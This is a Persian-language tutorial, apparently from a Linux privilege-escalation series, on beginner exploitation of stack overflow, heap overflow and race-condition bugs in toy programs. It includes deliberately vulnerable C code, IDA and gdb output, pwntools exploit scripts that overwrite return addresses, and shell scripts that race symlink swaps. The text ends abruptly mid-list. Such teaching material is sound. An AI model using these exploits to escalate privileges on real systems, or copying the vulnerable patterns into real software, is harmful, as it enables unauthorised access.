در قسمت قبل برخی از روش های ارتقا دسترسی در لینوکس را بررسی کردیم در این قسمت می خواهیم روش های ارتقا دسترسی از طریق اکسپلویت برنامه ها را بررسی کنیم.
قبل از شروع این قسمت لازم به گفتن هست برای تسلط به ارتقا دسترسی از طریق کرنل و کتابخانه ها دانش مهندسی معکوس، سیستم عامل و اکسپلویت نویسی نیاز است.
این پست شامل ویژگی های امنیتی سیستم عامل ها و کامپایلر ها نیست و به صورت مستقیم و خیلی خیلی ساده و مبتدی برخی آسیب پذیری ها را بررسی می کنیم.
همچنین برای آشنایی با روش های بیشتر میتوانید از مطالب دوره sec660 و sec760 استفاده کنید.
جزوه بسیار خلاصه دوره sec660 را از اینجا و دوره sec760 را از اینجا میتوانید پیدا کنید.
فرض کنید برنامه ای متغیری دارد و برنامه نویس اندازه متغیر را به صورت ثابت تعریف کرده است.
اگر ما بتوانیم مقدار زیاد تر از اندازه سایز متغیر به برنامه پاس بدهیم می توانیم کنترل برنامه را در اختیار و از دسترسی برنامه برای ارتقا دسترسی استفاده کنیم.
برای مهندسی معکوس و مشاهده سورس کد فایل های اجرایی از ida استفاده می کنیم.
کد زیر را در نظر بگیرید.
int vulnerable() { char s; // [sp+4h] [bp-14h]@1 gets(&s); return puts(&s); }
متغیر s از رجیستر ebp تا اندازه مشخص شده 0x14 است.
همچنین در آدرس های مشخص شده در ida آدرس 0804843B مربوط به retaddr است.
.text:0804843B success proc near .text:0804843B push ebp .text:0804843C mov ebp, esp .text:0804843E sub esp, 8 .text:08048441 sub esp, 0Ch .text:08048444 push offset s ; "You Hava already controlled it." .text:08048449 call _puts .text:0804844E add esp, 10h .text:08048451 nop .text:08048452 leave .text:08048453 retn .text:08048453 success endp
بنابراین پیلود ما باید شامل اندازه retaddr یا sucess_addr به اضافه اندازه ثبات ebp به اضافه اندازه متغیر تعریف شده باشد که در اینصورت پیلود حمله ما به این صورت خواهد بود.
0x14*'a'+'bbbb'+success_addr
برای اکسپلویت از کتابخانه pwntools استفاده می کنیم.
در اکسپلویت ابتدا آدرس ابتدایی برنامه را که با success_addr مشخص شده است چاپ می کنیم و سپس پیلود خود را که به اندازه success_addr، اندازه ثبات ebp و همچنین اندازه متغیر تعریف شده است، به برنامه تزریق می کنیم.
##coding=utf8 from pwn import * sh = process('./stack_example') success_addr = 0x0804843b payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) print p32(success_addr) sh.sendline(payload) sh.interactive()
در برنامه هایی که تخصیص حافظه پویا دارند و از heap استفاده می کنند ممکن است عدم مدیریت حافظه و کنترل ورودی منجر به آسیب پذیری heap overflow شود.
به زبان دیگر اگر تعداد بایت های نوشته شده در یک بلاک یا heap block بیش تر از اندازه تعیین شده باشد ممکن است heap overflow رخ دهد و مهاجم بتواند باعث سرریز داده و دسترسی به آدرس فیزیکی بلاک بعدی شود.
برای شناسایی heap overflow باید:
ابتدا برنامه از heap استفاده کند.
دوم اندازه داده های نوشته شده به درستی کنترل نشده باشد.
چند نمونه از توابعی که عدم کنترل ورودی می تواند باعث این آسیب پذیری شود عبارتنند از:
ورودی ها
خروجی ها
توابع کار با رشته ها
برای مثال به کد زیر دقت کنید.
int my_gets(char *ptr,int size) { int i; for(i=0;i<=size;i++) { ptr[i]=getchar(); } return i; } int main() { void *chunk1,*chunk2; chunk1=malloc(16); chunk2=malloc(16); puts("Get Input:"); my_gets(chunk1,16); return 0; }
در برنامه بالا شرط بررسی حلقه به درستی کنترل نشده است بدین منظور میتوانیم با اجرای چندباره برنامه بتوانیم به بلاک بعدی برویم.
برای اینکار ابتدا برنامه را با debugger هایی مانند gdb اجرا می کنیم.
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk2 0x602030: 0x0000000000000000 0x0000000000000000
سپس مقدار 'A'*17 به برنامه پاس می دهیم.
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x0000000000000041 0x0000000000000021 <=== chunk2 0x602030: 0x0000000000000000 0x0000000000000000
توضیحات بیشتر درباره این آسیب پذیری
فرض کنید برنامه ای وجود دارد که نام فایل را از کاربر گرفته و در صورتی که نام آن مخالف flag باشد محتویات آن را چاپ می کند.
حال اگر بتوانیم از این شرط گذر کنیم می توانیم محتویات فایل flag را چاپ کنیم.
به واسطه آسیب پذیری race condition می توانیم درخواست چاپ محتویات فایل را به تعداد بالا و در زمان مشخص به برنامه ارسال کنیم و برنامه به واسط این همزمانی برای دسترسی به شی به اشتراک گذاشته شده درخواست اول را بررسی و به درخواست دوم اجازه دسترسی می دهد.
برای مثال در برنامه زیر ابتدا نام فایل به عنوان پارامتر از کاربر گرفته می شود سپس بررسی می شود که نام فایل flag نباشد.
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <unistd.h> void showflag() { system("cat flag"); } void vuln(char *file, char *buf) { int number; int index = 0; int fd = open(file, O_RDONLY); if (fd == -1) { perror("open file failed!!"); return; } while (1) { number = read(fd, buf + index, 128); if (number <= 0) { break; } index += number; } buf[index + 1] = '\x00'; } void check(char *file) { struct stat tmp; if (strcmp(file, "flag") == 0) { puts("file can not be flag!!"); exit(0); } stat(file, &tmp); if (tmp.st_size > 255) { puts("file size is too large!!"); exit(0); } } int main(int argc, char *argv[argc]) { char buf[256]; if (argc == 2) { check(argv[1]); vuln(argv[1], buf); } else { puts("Usage ./prog <filename>"); } return 0; }
بعد از بررسی محتویات فایل خوانده و در استک نوشته می شود.
همانطور که از کد مشخص است اندازه ورودی کنترل نشده است و آسیب پذیری stack overflow محرز است و کافی است آدرس تابع main را تغییر دهیم.
from pwn import * test = ELF('./test') payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag']) open('big', 'w').write(payload)
همچنین برای اکسپلویت آسیب پذیری race condition باید ابتدا اسکریپتی داشته باشیم که به تعداد بالا فایل را تولید کند.
فایل exp.sh
#!/bin/sh for i in `seq 500` do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done
سپس اسکریپت دیگر فایل ها را به برنامه پاس دهد.
فایل run.sh
#!/bin/sh for i in `seq 1000` do ./test fake done
برای اجرا هم ابتدا اسکریپت ساخت فایل را اجرا و سپس فایل را به عنوان پارامتر به برنامه هدف پاس می دهیم.
(sh exp.sh &) && sh run.sh
از دیگر آسیب پذیری های دیگر می توان به موارد زیر اشاره نمود.